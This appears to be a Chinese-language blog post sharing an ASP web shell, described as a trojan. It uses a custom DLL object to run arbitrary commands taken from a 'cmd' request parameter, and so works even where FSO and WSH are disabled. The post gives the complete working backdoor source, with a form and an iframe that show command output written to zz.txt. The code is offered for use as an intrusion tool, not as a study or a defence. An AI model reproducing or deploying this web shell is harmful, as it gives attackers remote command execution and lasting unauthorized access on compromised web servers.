界面很簡單，差不多類似古老的cmd.asp.只是做拋磚引玉的東西
寫好後~自己看了都高興~~西西~用的是VB的SHELL函數！
其實這個東西唯一的好處就是在有的機器上禁止了FSO和WSH之後也能夠運行。
原理是先產生一個DLL對象，然後用ASP去調用這個對象中的EXEC函數，這樣就可以得到命令了。然後執行輸出到網頁所在的目錄下的ZZ.TXT中，頁面中用IFRAME讀取~~但是需要手動刷新一下，畢竟SHELL執行是異步的。。。。
PS:kevinz.dll需要和SHELL.ASP放在一起才能使用或者將SHELL.ASP放到SYSTEM32目錄下
代碼如下：
<%
dim shell
set shell=server.createobject("kevinz.exec")
path=server.mappath(".")
response.write "<font color=blue size=2>Now system Path is:<br><br>"&path&"<br></font><hr color=red>"
if not request("cmd")="" then
cmd=request("cmd")
cmd=replace(cmd,"^","^^")
cmd=replace(cmd,">","^>")
cmd=replace(cmd,"<","^<")
cmd=replace(cmd,"&","^&")
shell.exec cmd,path
response.write "<br><font color=red size=2>Command:"""&cmd&"""<br>Command successfully executed<br></font>"
else
cmd="ver"
end if
set test=nothing
%>
<html>
<head><title>Kevin1986's she11 aspd00r</title>
</head>
<form name="kevinz" action="shell.asp">
<input type="text" name="cmd" value=<%=cmd%> size=60>
<input type="submit" value="eXe(u+e (0mm4nd">
<br>
<iframe height=60% width=80% src="zz.txt" name="result"></iframe><br>
<font size=2><a href=javascript:history.go(0) target="result">查看執行結果</a></font>
</body>
</html>
一個不用FSO和WSH支持的ASP木馬
發表評論
所有評論
還沒有人評論，想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章
Mac 安裝 Node Error: Could not symlink include/node/common.gypi
根據提示，賦權限，刪除文件等 jimmy@MacBook-Pro ~ % brew link node Linking /usr/local/Cellar/node/20.0.0... Er
Python: two dimensional array
# 假設puzzle是一個包含多個字符串的列表，每個字符串都是同一長度的，代表字母網格的一行 puzzle = [ "JGJGDDAOYD", "IDGFHSPOSA", "FGDIOSAFSC